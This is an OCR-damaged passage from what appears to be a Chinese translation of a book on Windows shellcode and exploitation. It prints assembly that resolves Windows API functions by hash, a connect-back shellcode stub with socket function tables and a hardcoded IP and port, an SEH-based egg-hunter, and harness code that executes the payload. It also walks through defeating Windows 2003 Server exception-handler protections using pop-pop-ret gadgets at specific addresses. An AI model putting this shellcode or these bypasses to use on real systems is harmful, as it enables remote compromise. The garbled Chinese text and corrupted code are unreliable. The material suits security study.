Pop eax

push seax

addl ¥eax, ebx

//this eax is now the Export Directory Table

//From MS PE-COFF table, 6.3.1 (search for pecoff at MS Site to

download)

//0ffset Size Field Description

1716 4 ordinal Base (usually set to one!)

/124 4 Number of Name pointers  (also the number of ordinals)
1128 4 Export Address Table RVA Address FAT relative to base
/132 4 Name Pointer Table RVA  Addresses (RVA's) of Names!
/136 4 oOrdinal Table RVA You need the ordinals to get

the addresses

//theoretically we need to subtract the ordinal base, but it turns out
they don't actually use it

//movl 16 (%ebx), %edi

//edi is now the ordinal base!

movl 28(%ebx),%ecx

//ecx is now the address table

movl 32(%ebx),$edx

//edx is the name pointer table

movl 36 (%ebx),$ebx

//ebx is the ordinal table

//eax is now the base address again
//correct those RVA's into actual addresses
addl %eax, ¥ecx

addl %eax, %edx

addl %eax, ¥ebx

//HMERE IS WHERE WE FIND THE FUNCTION POINTER ITSELF
find_procedure:

//for each pointer in the name pointer table, match against our hash
//if the hash matches, then we go into the address table and get the
//address using the ordinal table
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movl (%edx),%esi

pop %eax

pushl $eax

addl teax, %esi

//push the hash increment - we are ascii
pushl $1

//push the function hash

pushl 12 (%ebp)

//esi has the address of our actual string
pushl tesi

call hashit

test %eax, teax

jz found_procedure

//increment our pointer into the name table
add $4,%edx

//increment out pointer into the ordinal table
//ordinals are only 16 bits

add §2,%ebx

jmp £ind_procedure

found_procedure:
//set eax to the base address again

//get the ordinal into dx
//ordinal=ExportOrdinalTable(i] (pointed to by ebx)

mov (%ebx), $dx

//SymbolRVA = ExportAddressTablelordinal-OrdinalBase]
//see note above for lack of ordinal base use
//subtract ordinal base

//sub %edi,%edx

//multiply that by sizeof (Gword)

shl §2,%edx

//add that to the export address table (dereference in above
//to get the RVA of the actual address

add %edx, %ecx

//now add that to the base and we get our actual address
add (%ecx), beax

//done eax has the address!

popl %ecx

.c statement)

TFHEHARMMEA MBI RS, X PERMERNLE, HFaBRNSE.,
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//hashit function
//takes 3 args

//increment for unicode/ascii
//hash to test against
//address of string

hashit:

pushl %ebp

movl %esp, $ebp

push %ecx
push $ebx
push $edx

xor %ecx,secx
xor %ebx, $ebx
xor %edx, $edx

mov 8 (%ebp) , Seax
hashloop:

movb (%eax) , $dl

//convert char to upper case
or $0x60,%dl

add %edx, $ebx

shl §1,%ebx

//add increment to the pointer
/12 for unicode, 1 for ascii
addl 16 (%ebp) , seax

mov (%eax) , %cl

test %cl,$cl

mov 12 (%ebp) , $ecx
cmp ecx, ebx

jz donehash

//failed to match, set ea:
inc ¥eax

donehash:

FHEX BT R ACE S B MMAIRER, HAEAM LI ABAEMN. WEHTRIILEY
shellcode ] fit-£x BN R B SIfi d . BARFTA IR MR FT LU TAF, (ERAIERX RAFMR—
AR A5 PG B S B K

#include <stdio.h>



114 #7% Windows

main(int arge, char **argv)
{

char * p;

unsigned int hash;

if (arge<2)

printf("Usage: hash.exe kernel32.dll\n");
exit(0);
}

p=argv(il];

hash=0;

while (*p!=0)

{
//toupper the character
hash=hash + (*(unsigned char * )p | 0x60);
pre;
hash=hash << 1;

)
printf("Hash: 0x8.8x\n", hash);

)
IR W B Exi tThread () BlExitProcess (), LA AL SR B FI OSSR BE M. A
BT, FEAARTERLSHT .
exitthread:
//just cause an exception

TR R — L L5 et BRSO Sl o BTN, S50 SRR RO LRI L 8 3
T sockaddr i # .

SockAdArSPOT:

//first 2 bytes are the PORT (then AF_INET is 0002)

.long 0x44440002

//server ip 651a8c0 is 192.168.1.101

.long 0x6501a8c0

KERNEL32HASHESTABLE :

.long GETSYSTEMDIRECTORYAHASH

.long VIRTUALPROTECTHASH

.long GETPROCADDRESSHASH

.long LOADLIBRARYAHASH

MSVCRTHASHESTABLE :
.long FREEHASH

ADVAPI32HASHESTABLE:
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-long REVERTTOSELFHASH

WS232HASHESTABLE :
.long CONNECTHASH
.long RECVHASH

-long SENDHASH

.long WSASTARTUPHASH
.long SOCKETHASH

WS2_32DLL:
.ascii \*ws2_32.d11\"
.long 0x00000000

endsploit:
//mothing below this line is actually included in the shellcode, but it
//is used for scratch space when the exploit is running.

MSVCRTFUNCTIONSTABLE :
FREE:
~long 0x00000000

KERNEL32FUNCTIONSTABLE :
VIRTUALPROTECT:
+long 0x00000000
GETPROCADDRA:
-long 0x00000000
LOADLIBRARY :
-long 0x00000000
//end of kernel32.dll functions table

//this stores the address of buf+8 mod 8, since we are not guaranteed to be
//on a word boundary, and we want to be so Win32 api works
BUFADDR:

+long 0x00000000

WS232FUNCTIONSTABLE :
CONNECT:

.long 0x00000000
RECV:

-long 0x00000000
SEND:

+long 0x00000000
WSASTARTUP :

-long 0x00000000
SOCKET:

+long 0x00000000
//end of ws2_32.dll functions table
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SIZE:
.long 0x00000000
FDSPOT:
.long 0x00000000
BUF:

~long 0x00000000

")

)
A EFL AL TR E BT iy Hishellcode, BN T WIATIAME.
int
main()
«
unsigned char buffer(4000];
unsigned char * p:
int i
char *mbuf, *mbuf2;
int error=0;
//getprocaddr ()
memcpy (buf fer, getprocaddr, 2400) ;
pbuffer;
p+=3; /*skip prelude of function*/
//#@efine DOPRINT
#ifdef DOPRINT
/+gdb ) printf "$d\n", endsploit - mainentrypoint -1 */
printf("\"*);
for (i=0; i<666; i++)
i

printf ("\\x82.2x",*p);
if ((i+1)%8==0)
printf ("\"\nshellcode+=

p+
}

printf("\"\n");

f#endif

#define DOCALL

#ifdef DOCALL
((void(*) () (p)) ()

#endi £

7.3 #|f Windows &% TR
Rl fshellcode b TR BUBEK . o T BOXA I, FS—ATTLLERATEIFREIN
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—Btshellcode Kishellcode. FHIARMATHE.

(1) MES8 IR IEH AT »

@) AR T % Kshellcode.

(3) PATH— Bishellcode.

(4) TRIATIG G ishellcode.

%t Windows shellcode3f i, #MRMRFIATLMR . FEHFLLIFRFZ AT, & HHKBET LUEHIE
150BZ W, A LT FAHTHE . R FEE M shellcode, T LA ffishellcodetk it T RAKHISP,

TR R GR I o Mo
shellcode A] AL F W AFHMEMTGL B, 4 T T F#kshellcode, T EAEshellcodef) kR & N—
A 8BHIFFIE .
#include <stdio.h>
/-
* Released under the GPL V 2.0
* Copyright Immunity, Inc. 2002-2003

Works under SE handling.

Put location of structure in fs:0
Put structure on stack
when called you can pop 4 arguments from the stack
_except_handler (
struct _EXCEPTION_RECORD *ExceptionRecord,
void * EstablisherFrame,
struct _CONTEXT *ContextRecord,
void * DispatcherContext );
typedef struct _CONTEXT

DWORD ContextFlags;

DWORD ~ Dr0;

DWORD  Drl;

DWORD ~ Dr2;

DWORD  Dr3;

DWORD ~ Dr6;

DWORD ~ Dr7;
FLOATING_SAVE_AREA FloatSave;
DWORD  SegGs;

DWORD ~ SegFs;
DWORD  SegEs;
DWORD ~ SegDs;
DWORD  Edi;
DWORD  Bsi;
DWORD  Ebx;
DWORD  Edx;
DWORD  Ecx;
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DWORD  Eax;
DWORD  Ebp;
DWORD  Eip;

DWORD  SegCs;
DWORD  EFlags;

DWORD  Esp;
DWORD  SegSs;
} CONTEXT;

FESHH RAERIBIEI, WREMEPAT.
SRR 4R EBATAGIATAG2H , 4§ R&EH Ehshellcode, LT fig& sk Fshellcode.

BEAERNR, WA (-1, address) LATEYRILRME L. MRFLSEZL
ESP, MATEIXHE, TEHRKREEBRELMARNOE. 5Bt ERBFHLHEITROZF
Calignment) IR, XEEEGZADK, X2 WEshellcodeflIKBEMM—LL, P i Hk R HPEB

HRtlEntercCriticleSectionSBEE—i€, W TFHR:

k=0x7££d£020;
*(int *)k=RtlEnterCriticalSectionadd;

'Y

#define DOPRINT
//#define DORUN
void
shellcode ()

{

/*GLOBAL DEFINES*/
asm("

.set KERNEL32HASH, 0%000d4e88

")

/*START OF SHELLCODE*/
asm(*"

mainentrypoint:
//time to fill our function pointer table

sub $0x50, ¥esp

call geteip

geteip:

pop %ebx

//ebx now has our base!

//remove any chance of esp being below us, and thereby
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//having WSASocket or other functions use us as their stack
//which sucks

movl %ebx,$esp

subl §0x1000, tesp

//esp must be aligned for win32 functions to not crash

and $OxffE£E£00,%esp

takeexceptionhandler:

//this code gets control of the exception handler

//1oad the address of our exception registration block into fs:0
lea exceptionhandler-geteip($ebx),%eax

//push the address of our exception handler
push %eax

//we are the last handler, so we push -1
push $-1

//move it all into place...

mov $esp, fs: (0)

//Now we have to adjust our thread information block to reflect we may
be anywhere in memory

//hs of Windows XP SP1, you cannot have your exception handler itself on
//the stack - but most versions of windows check to make sure your
//exception block is on the stack.

addl $0xc, %esp

movl %esp,%fs: (4)

subl $0xc, $esp

//now we fix the bottom of thread stack to be right after our SEH block
movl %esp,%fs: (8)

")

//search loop
asm(*"
startloop:
xor %esi,%esi
mov TAGl-geteip (%ebx),$edx
mov TAG2-geteip (¥ebx) , %ecx

mememp
//may fault and call our exception handler
mov (¥esi), beax

cmp $eax, $ecx

jne addaddr

mov 4 (%esi), beax

cmp ¥eax, tedx

ine addadar

imp foundtags
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addaddr:
inc %esi
Jmp mememp

foundtags:
lea 8(%esi),%eax

xor %esi,%esi

//clear the exception handler so we don't worry about that on exit
mov %esi,$fs: (0)

call *$eax

3

asm("
//handles the exceptions as we walk through memory
exceptionhandler:

//int $3

mov 0xc (%esp) , beax

//get saved ESI from exception frame into %eax
add $0xa0, beax

mov (%eax) ,tedi

//add 0x1000 to saved ESI and store it back
add §0x1000, tedi

mov %edi, (%eax)

xor %eax, beax

ret

i
asm("

endsploit:
//these tags mark the start of our real shellcode

.long 0x41424344
.long 0x45464748

CURRENTPLACE :
//where we are currently looking
+long 0x00000000

")

)

int
main()
unsigned char buffer(4000];

unsigned char * p;
int i;
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unsigned char stage2[500];
//setup stage2 for testing
strcpy (stage2, "HGFE") ;
strcat (stage2, *DCBA\xce\xce\xec”) ;

//getprocaddr () ;
memcpy (buffer, shellcode, 2400) ;
p=buffer;
#ifdef WIN3Z
p+=3; /*skip prelude of function*/
#endi

#ifdef DOPRINT
#define SIZE 127
printf("#Size in bytes: ¥d\n",SIZE);
/*gdb ) printf "%d\n", endsploit - mainentrypoint -1 */
printf(*searchshellcode+=\"");
for (i=0; i<SIZE; i++)
{
printf ("\\x$2.2x",*p);
Af ((i+1)%8==0)
printf (*\"\nsearchshellcode+=\"");
pee;

¥
printf("\"\n");
#endif
#ifdef DORUN
((void(*) (1) (@) 07

#endif

}

7.4 #H shell

FEWindows L, IRy H] DA AR 778 Slshell. ZEUNIXE, A7 LLfHlaup2 () SHIFRAEVO
ISCHEAIRE, ARJEHAT /bin/she BIT]. {HZEWindows LB AN H. AT LA fiwsasocket () A
socket () B —/MEHY, EEME N CreateProcess ("and. exe”) M. AT, WHRIXAEE
BT RAHFRE R, B AL Flwsasocket () RIEEAT, T84 755 BE 45 A HL G i/
T— e . PRRT A AL A Fpopen (), fHEZEWIn32 EAREIEH TAF, BRAREH BIte.
i il popen () I EALAELUT LT

(1) ¥/l createprocessalf i 3T kKM PEB 1. BN, HRIEEMME A IRAEVOM ST
cmd. exeltf, IRAMIBERIHAGEV]E .

() TEUE MM, 6200 36 PR SQSE AL 5L W7 5 (B o A e OO B RE AR R A R R . VB AE
CreateProcessAZ Ji. ReadFileZ HIEHUL #.
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Q) AT BN, EEAFHER T, RER T Mpupli e () S HI— R4
FHAW. BT LEMNR Mema. exelhk, HEXALEEIN.

(4) WRIRAE K cmd. exe, MHGetEnvironmentvariable ("COMSPEC").

(5) TLAfECreateProcessal i fisw_HIDERtE, I EHUIETHLHAMMEO. EF
Y STARTF_USESTDHANDLESHISTARTF_USESSHOWWINDOWSHRIE «

HTULEJLR, RERIE AT LUEFT fipopen () H SRR .0

7.5 AT AFRRIZLE Windows E3#H shell

Windows %R i BT UNIXEL T ok 3, 2ERMEREMBHT . FEL, KEH
WindowsF2/F 5t AT QAL EE, S ARk AR B SMFFR . WindowsfIk& A
VLML WM A IE W RMBERI. I, cnd. exe NIREERICHNTIRE, T0EE XK
shellcode I ] LLRAAME]. F35b, {RATRELTRIFVS M2 #HWin32 APL, BIMEEHRHE T HLERIAWin32
shell EZ MTfE. MRETTREAGEN IO MBBCLTTRBNOM. EXEWRT, TOME
LOCAL/SYSTEM; 7ELABMEUL T RIwANIRIUSR, B HAAURBUE WA/ o

4R B S #shellcode B3R FHATE R, HLRFTAT e NP IERE. IRATRER B BINR
AERERARREBIATE B %, ETRUEETRME S RRET, TIAREFRTE.
Bk, fERUERE BT ARG, WARTT AT T B MIAPL, KRR T AR SEAR A P 2R
TN, i, AT HAL R PORAT SRR . WA bR A AR kAR (1) 4R I PR
AT ?

YRR AR 1R P IR R, BB B X CreateProcessAsUser (), FFA#
FWindows# 0. F 4 MA-—LeWin32/ M35, FSysi Chttp:/A i
sysinternals/) _EffITH (Ju3/EProcess Explorer) 23474 il . “Ji4t4 Windows shellcode A~
BROBEGZITR? 7 RN, 5RET MG,

7.6 NG

AT T HERE 905, LB RSB B, MRS R BRI S, b T AR
PEGOEK, BERANEWRLNABZENE. WRIRHE KRR R, RERL, R
BEANRARRARILRY . FUBRE L.

BSRARA R B Windows shellcode IS 5 ik, MRl MS RIEDLL, HIEEERIIE
ATHERE S C49R, AMESERM L) RE B G Rshellcode 18 I N IEFEIEAT R,
R L5 G O R M R R K
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Windowsjt

M CEIARTAR, T EREWindows NTEEHi R A H Windows R 1E R %, I Hadw
) IR Windows RZE_EIZErF K i it A% A4 Windowsili IR 4, Hotn
BiAIK Windows 2003 Server P £t AR AR HLEI RN IR SRS 5 . E¥SIRF LRI, HRR %M
BIHWTEB (Thread Environment Block, ZFE¥F5E3R). PEB. MFEWEAR. BEILF. PEX
PEKARA . TRRGX SRR A RIVEBE R, BRI R AR BT A S A
EATMNFEIIL B PRS- L TR, MAEKA T F Visual Studio 6, K FIZ M THiRH
MSDEV. #ir&{F4iiF#Fclfldumpbin. dumpbinf—MEFMIArS4T T, EATLUE #6130
PP M BEAE R, MPAR, FHE BRERKCHEESS. RERMBIN, dumpbin/LF
FRAT MR o EXRGUIRIA AT LSRR 7510 S 44 T ADatarescueftjIDA Pro. A A ¥ Hintel#)i%,
HAERAT&TH, RIGHBRE: EHRAEN, FEZMALAL.

8.1 AREHXiEH

X RBNZ S RRE KR T o € CL BRI ] T LR A BEAT 7 SEHL I th S 1 B0
), PIAEEHAREEINIL, € CAMb IR T SR 1 3 B AR, S AER KM LRI
WEXREH I, BRATALRIAR . W LA E LA B T MR AT AH A2, KB
WL R T —2, ERRAFEERLAET .

AR AR 3 L )RR AL, P AR Mt B ki CR 77 (IR [l CARAD Ml 160 RS RERE 0
ATERARIR S I PR BB X (4R @ BB BD . FEWMAE STRGIM X M 2 T, RAVEH —TF
HT WU RN TR, R T AR LTS RO 4 4, 25 ISR i B 4 Windows 2003
Server A {t (AR BRFHLIBI AL

8.2 ETFMHFELERERRF

Fel 2 TAL A A T REERRFAEAT IR o (IR B 50 (08, 4y ) IS kB LAO%E . LTy
S AR P A S I R, AN AR AR A R DR B — TR 2 TR SR AR
BT A 645 R R FE7EAR AU EXCEPTION_REGISTRATIONA H Bl o IXANGMIBIEHANCH: M4
JGHEFR R T/ NEXCEPTION_REGISTRATTONSEHIHIFRET, S5 /NG R R A ) 57 4 AbERARFF (047
e BXRER, ST WU SN LR AN LSRR MR, WS- 15TR .
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I F—NE_RG R

IRISRGEBT TR

i F—AE_RGHI MR
ISR REIT R

H T REHIEE
| WASELARTOEE |

F8-1 A P i AL BT

Wind2it B AR BEANR LA BELH AN RH BT . SMRBEOE D
EXCEPTION_REGISTRATION( H) (Il 7T ATESR ik (I ikt Kmfrs: (0)) IR 5
RAG, RGKWPIEANFHMTBFTFER, HERFINSOLERYT (RRRINEFSRH) Ak,
Cifi il tryFlexcept i gkAR S -

#include <stdio.h>
#include <windows.h>
dword MyExceptionHandler (void)
{
printf("In exception handler....");
ExitProcess(1);
return 0;

}

int main()

// cause an exception
xor eax,eax
call eax
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}
__except (MyExceptionHandler () )
{
printf("oops...");
}
return 0;

)

ELHERARBF, HeryPdT BRI, 4RFREN, EEMNITMyExceptionHandlerf
. BAT LURAIEEAXE 4 0x00000000, R/FTHIHEAX, X ERERH, REMIITHEL
HFF.

HHERENK (BRERGREEEE I B, BT RS RN K B IR,
B REHEME . P, BREEU— SR BE A, EAA AR IR A ST
ko BBAELTHIRE AL H92E BB ARAE B0 IR MM AR S . URIEX AN RBBIESL, HHITIF
4

mov dword ptr(eax+esi], edx
PR 0 T8 O 0 T R R NULL AT, BT M HOX AN R, R OGUERI TS A (n
EAX+EST), 4 WIRBERRHE 51V HEH] . BRAIMN SR8 GX A . P SRR AV ) i
Bl, RGHPITHH BT, KBRS AL, RATHRERZTRBONL. WER
TEBE TG, eax+esTA ST, (ARIEMTRECEFIRT, AT LB B0 o 8 75 24
8, TERSEWRT, HLeHELTREREREN. JUE, H— ke B IXA 1,
TR BUS 3 F Wi EXCEPTION_REGISTRATIONSS#, iLBRATEE S A 5 ¥ A BT RO TR 24
KAV EEGIN, RATT U GIRREOPATE A 050 AR (306 SO R R A0S,
TR TR X .

TERXFIULT, Mt A GBS0 1 AL FRRL P M 61 TT4RAT b X b 1O AREGHE? 25 %
e SRYOPERSPAH K. FERATANT (iWindows 200081 Windows XP L, ERX#F 77 284114 24 AT 9
EXCEPTION_REGISTRATION4iHJ, iR BATEEME ML . FUtal LARKA mp ebxil
call ebxifQHuBEHIRET, HOSHRIIES HAHBITIMRET. KR, SPAT “RBEF” i,
AT RATH S I EXCEPTION_REGISTRATIONSS #4 . TR A1 75 2 8 T 4% 4 4§ — 4> EXCEPTION_
REGISTRATIONZS 14 ) i ¢t , A€ W R Bl jmp ebx B & Mk Z AT A i jmp it . ¥ %5
EXCEPTION_REGISTRATIONZHIIN, WI LA EI{R EI8-2H42 (I AHE o

AT, #Windows 2003 Windows XP SP1 BU¥ B A ) RYE L MARXAE T o EBXANFHHRIE
EXCEPTION_REGISTRATION4iH. SEFR b, B4R 47 F ¥ ) 5 77 B840 A B CHXORES T,
UETFLEWMALEBFN, BIIEHEA0x00000000, ATAEREBEKZ % HEF|Code Redifh h &
K RE I 7 R RIS R, BT LI T IX 688 . R M ARFS Ok B Windows XP
Professional SP1).

T7F79B57 xor eax, eax

77F79B59  xor ebx, ebx
77F79B5B  xor esi, esi
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77E79B5D
77F79BSF
77F79B63
77F79B67
77779868
7T7F79B6F
77F79873
77£79878
77F79B79
77F79B7A
77F79B7B
77F79BTE
77FT9BTF
77F79B81
77F79884
77F79B85
77F79B8C
77F79893
77F79B96
77F79899
77F79B9C
77F79B9F
77F798A2

Mox77F79857TF4fi, EAX. EBX. ESI. EDIW/FNtY A SHIXOREN BB N0, HR,
0x77F798734b M cal 114 — ELHATE0x77F79B7E. FE0x77F79B9FAL, ECXBEBL AR 057 H AL FEL

xor edi, edi

push dword ptr [esp+20h]
push dword ptr [esp+20h]
push dword ptr [esp+20h)
push dword ptr [esp+20h]
push Gword ptr [esp+20h)
call 77F7987E

pop edi

pop esi

pop ebx

ret 14n

push ebp

mov ebp, esp

push dword ptr [ebp+0Ch]
push edx

push dword ptr f£s:[0]
mov. dword ptr £s:[0],esp
push dword ptr [ebp+14h]
push dword ptr [ebp+10h]
push. dword ptr [ebp+0Ch]
push dword ptr (ebp+8]
mov. ecx,dword ptr (ebp+18h]
call ecx

fiomp CHINOP, NOP)

HRIEIATmp ebxf UMLK

HIEREFF R

EnxfR KR

F8-2 'SEXCEPTION REGISTRATIONiH]

e, R)EAECK.

AR 26 R BT KR, et U SRS R BIAR o (YR AT (E T A5 A7 8 0 i P 4R Y
BARMNMBL T Bl TR R AT R WA AL . 44, i

ZEA W WD By H B B I T R
FURIKRAG? ST SR A TR AR 2 SR LR AR, R
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BSP = Saved Return Address (0x77F79BAd)
ESP + 4 = Pointer to type of exception (0xC0000005)
ESP + 8 = Address of EXCEPTION_REGISTRATION structure

P& jmp ebxBicall ebxifAMMALRABK G MR HLBRFHRE, RIIFTEM
I SR PR 1 — BT I T AR BRI bl B

pop reg
pop reg
ret

PPt ST /EESPIR4, FTLLSIATRETH, ESPIEXFH A PIRATIMME. M, reT
BUERR T (sse), FHEHATREFRE. Fit, RdEEATERNEX N,
KR H R .

A, FERRAET, BMRREAENEAR? Ha, XHNESRE, S RENER
LT #HEEREIEH ST . BARENTENERERSE - RELAARNFHEOHE LR,
R RRREHE, 0x0x77F7987 94T IR FTH FEB/MIESR, AHERINBRBIN R

TR .
77879879 pop esi
77F79B7A  pop ebx
77F79878  ret 14n

ret 143EFF ERA AWM, & HEBESPI Lox14TI AR 0xa. XESFSHIRATHBIL
L IEXCEPTION_REGISTRATION& M. ULl $&16F—/EXCEPTION REGISTRATIONAHIHITRET
BRI 31 15 04T 1 S 5 e NOP & (K ARAT i ik o 3K 7T LA AU TETKE [ 3\ 78 I pop
pop. retfi&HRifMlE.

fE— A Win32 R ERAETR N, il ERARR AL B D MEH M ET WK R R LR
JFe B, 4R Windows 2003 Server b B e il , I FHAE Tl Ab B AR e 2 0
Windows 2003 Server i AR GRS HUHIRG—Fh ik

8.3 A Windows 2003 Server EEJE T a5 & 4018

e W 7 3 4k B R %6 1 Windows 2003 8% R4 8 A 7k (BB IS N84T,
Windows 2003 Server?E KA H I, 2 HSAYA T AE S # WEFR A ILH. kA 7REA
3 i BEL LTS O AL TR A RS S T AR AR G X R, O DL B 1 e A
GRS A ERE IR A E .

RYEEHEH T A TR AR A IEMIVE? 9 AR 7 (9 ntall.a11 E ffiKivserException-
Dispatcher##. ¥ 56, XA HHK A NZHR R AAIRRUF (O FREH R B I T ARkt BB % Fs: 14)
5Fs: (8 2 1) M B BME M sk (O LR FRAF MRk H I RAL SRR () ik PEIX NS Z A,
XA B BORFA KA 0 R T4 4 8 B AR AV AR TR o T DL, et R i ELREAT S AL BE R AP 3 1)
HeATIERR LR IIX o SRR AL ER AR SR (St A RARM A, XA R BOR AT T T AR
B, AHETHATHYGSCIEMDLL, AR AL FRFR) P L A 1R SR A R Y, ARG
R MPEAERE, REXWHFHCERFREANTAME. KT, DRBIED MBI
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(At SEE P, XA B MO BEAT R 7S T AL R PR B 2 o

RY IR L ImageNtHeader i BORHE 18 BUR SAFPESLIBROTRET . B SERBPESLI, R
JEDLLIRFHIEF 1 0x04TT A R 0x5F, MAXAMBERE “TEAY" MPLBRIFIEX BRI
HILTEE N, KRB . 15 PEK M5 #1E ) 2% 44 Rl ImageDi rectoryEntry-
ToDatalfi ¥, EXFL T, BSEI F /& Load Configuration Directory, Rt1ImageDirectory-
EntryToDataff $& [FIXA H R itk KB . KR %H Load Configuration Directory, Hi¥(
R0, #FiLE SR, WALEER. BT, WFHYHLoad Configuration Directory,
MARTEKSE: MR HRAKBIR0RANT 0xas, fHI1EH—SRE, WHLERF. MLoad
Configuration Directory JF 4 AR # 040714 1 77 2 — A& 1) ESEMH AL IR FYFEAURVA (Relative
Virtual Address, XTI KiffRet. WRRMEHRNLL, FILE-SRTE, BELE
#2/¥ . MLoad Configuration Directory JF 44 W5 0x4a 725 (i 77 Jix MBI 4 I, SR 4% B3
RO, Wb, WHAERY. BUFENRESRY, ACERFNBIERECRE
MR SEHEE, #518 IAb BT URVA . JEIXANRVARTH B3 A SR 4R 9 7% B 19— ZIRVA
MR, BRRIICR, WHIAERRYY: BRI CRITAD), HE4 L ERRE.

AR Windows 2003 Server L HIAREMIX BT, BATH LU F LR RRE S R34
R

() WHICH ORFFFE, BPIFEPX.

(@) FERBURT KM ik BARF) — BURTS, BFIZX

(3) #E8# Load Configuration Directory sk iyt 2% (7] L 42 51— BLARED .

Tl if DCOM IRemoteActivationZs #i[X # Hi - 4R iX B 1 % o

8.3.1 KABAMALERER

ntdll.dl1 8 0x77rasa3a ik —4 CHEMNR K AEERF . MRREXAGEERE
FROACES, H SIUTT LA XA S BAR PP IEAT ATV . 4 EXCEPTION_REGISTRATIONSS#Jf)
fR4H T EBP+OCh,

TTF45A3F mov ebx,dword ptr [ebp+0Ch]

77F45A61  mov esi,dword ptr [ebx+0Ch]
77F45A64  mov edi,dword ptr [ebx+8]

7‘;5’451&75 lea ecx, [esi+esi*2)

77F45A78 mov eax,dword ptr [edi+ecx*4d+4)

;;FCEABF call eax

411 17 EXCEPTTON_REGTSTRATTONS 14 )47 41 48 #/EBX, $ 14 0x0C + EBX I S F 4 5 F]
ESI. B2k D20kt T EXCEPTION_REGISTRATIONS: HIHF ML T &, FiMARAIATAsE A BHlixA
B, MG “B8F” BST. TR, i oxo8+EBXIN FH BB FlepT, RAMEMBHIET .
EST+ESI*2 (AFFEST*3) WA MMM EBAECK. FNCLMAEST, HLl, RIVAEHRTHNS
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ECXfIE. RATFTIEHIMIEHAEDIM AN EECx~a+4, W FEax, RFHAEAX. EHATLL -
SEARHMAEDIMECK GlitEsT) ML, FTURAVKAER SIS, HRTUS| S
BIITRAIGATS . AL BRI RIFIR AR (0 aE R AR . RATHERE
EDI+ECX*4+4FIXAMMALICAC, CARUEH AT MR Bleax, REHHEAX. F R
fsvchostit, TEBMIALTE SH ML BT M R —BM. M8, RIS 8 LR 3. &
W—BIE, RATATLUETEB+0 (0x7FFDB000) 4b&BLIE [ EXCEPTION_REGISTRATIONS
Hygthet, XA RN FHRIBEARB IS L. EREREN, ERARELREER
ZHf, AR RBEFIHBE, B REAERIXAN . AT, 7ETEB+078 7 HIEXCEPTION_
REGISTRATIONZ#4 M, 7EHlhk0x005CF3F04h# — 4§ [f] EXCEPTTON_REGISTRATIONS My f 5
# R UGBATRARE, IXMEH R ALRE & R — B0, BT DUERX MRS . 7ethl
0x005CF3E44L, 53 4h—AMa4t hH I EXCEPTION_REGISTRATIONS H). fEBRATHE — M
b, IR EXCEPTION_REGISTRATIONSS Hikid 0x0CHI i %]0x40001554 (X BHBFESD),
JF B3 0x08 i) {f £ 0x005BF3F0 GX ¥ B FEDD), L ~RIUMF. MiEH/E, B35
0x005CF3E4, 0x005CF3E4FH MMk Blrax, /EUHAIEAX, 7EVHEAX, {#EXCEPTION.
REGISTRATIONS HITEIX M4 7 1) F — N EXCEPTTION_REGISTRATIONSSH M. W SHEARHD K
EXE, ANLRTRE B 148, ARATRBL T RO P AT BIiX

RAHEAE Windows 200355 8 RY LR T —TF (32 Windows 2003MLR, —& 47
HERD, BT IR T . AT, WEYARE, KRS —RERE LIBITHM, 50K
HRTREREE R LRI . 535, BATHEBLX A5 3 AR (A BARIY, TIAS Wik EERE
By bR At AT AR A

BRutZ5h, AL AT A A A 408 IR AL FRAR PP (AR . ik 2% ) P LV 9 34t
SR AT 4 17 s vert . A1 1RO AE B H __except_handler3.

8.3.2 AESERTHEXMMIEFHRABE, NMEELEHX
PEHARRR A Windows (¥ ESP+84k, 7T LAFF £ — M 7] EXCEPTION_REGISTRATION: # (14
&, Bk, AU S AERT CAMER A AR X m it 8RB A N 4B
pop reg

pop reg
ret

KB T o 1EWindows 2003 ServerfhLhR HLIEAT (f 6 #EFE ) 0x7FFCOACS AR, RATEBAEIRBIXFE
ffi P BRLIXA AL AT ATHOR AR B KT, BT AR GAERYEXA “LHRT B RUNE
SRR, NAFERMA. Rt PREE— B, JUEERA AL EZET ) Windows
FRAERRZEIX A L B # T pop, pop. retdi 4Bk, (HENIFTAMIALHARMIE. BEARAAEHE
pop. pops retifQRIGME, ERHFMHCRAAAET . 5HFpop. pop. ret, BAM
Fik:

call dword ptr(esp+8]
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R, MM A R A

jmp dword ptrlesp+8]

RAETE LB RENX RIS, BREKL, RATT LIEEspRIEsR A MR EVF L
S, 4817 EXCEPTION_REGISTRATIONSE HIMIEr . FHIZRATIREIN . R RIAHIITEH
HIfLE

esp+8

esp+14

espric

espr2c

espeas

esp+50

ebp+0C

ebpe2d

ebp+30

ebp-4

ebp-C

ebp-18

T BAE R call B mp A 1. WA K FE svehost ik 22 (], 7F0x001B0BOBMHE £ F F LA
TAREG:

call dword ptr[ebp+0x30]
{EEBP+304b 4 /M 1| EXCEPTION_REGISTRATION: H) (K H 4t o XA HUERMERTRERTE S, 1M H.,
JLPHGANESTEWindows 2003 Server (EWindows XP_ RV F (3lA) Lifist#e, fERXM
HEARA FREI AT, (H7E0x001c0BOBANRATIXFEN “Hi4 . Fl0x001B0BOBH FHR W 57 AL
FLRP AR R, BRAT AT LR [F 28 b X 4T ARFS o 754 6 A5 () Windows 2003 Server KX #E
0x001B0BOBHAIE b (fIcall dword ptr [ebp+0x3013H4, KRILEAIHA “TEHMIFH " HrLl,
FHANIT 1 BEAR Windows 2003 Server b (IRTRLT: 847 — 4.,
8.3.3 7£:%% Load Configuration Directory A3k A itk iit 25 8] B 3 R AL FZER

A AT MRS (svchost . exe) 4% £ ¥4 Load Configuration Directory. #15KiUserExcep-
tionDispatcher () f0HD HL ¥ 45 4k B NULLI 41 5+ %, svchost.exe¥f i LL LHE. RtlImage-
NtHeader () Hi $UR Bl ~ /M [ 4 BURSCIFPESL B934T, (H3%f T svchost, BiglRlo. i,
fEKiUserExceptionDispatcher () B4 F 6 FR E (36, TIAS LAQTEIE B MIREH R TN
NULL.

call  RtlImageNcHeader
test  byte ptr [eax+5Fnl, 4
jnz 0x77F68A27

& ETARE, RS R EEG], B S EARIE, LA GE svchost . exe LI
H8. comres.d11 8L 4R ¥F Load Configuration Directory, {HPESL I #DLLAAFAE S



8.4 #RK455 Windows 2003 Server 131

0x0400, HHAERIRt ImagentHeader B Z F & K, B Blox77r68a27, TERIIMIL
HERF. b, MRAEHEEE R RFARR, RERAENBAHF AL . WL HLoad
Configuration Directory ] £ /i &b FEAL FF (MBS AT LUBE R USRI, BVXAEROIE, X
MEEFEBEAT 4L

BIAAERE M, R AR R A7 S EIRR 23 SH, BTLLMas g,
T LUHIEA 7 #2483 Windows 2003 Server AR (R HLE. BEAATLLEXHE B H, {HWindows 2003
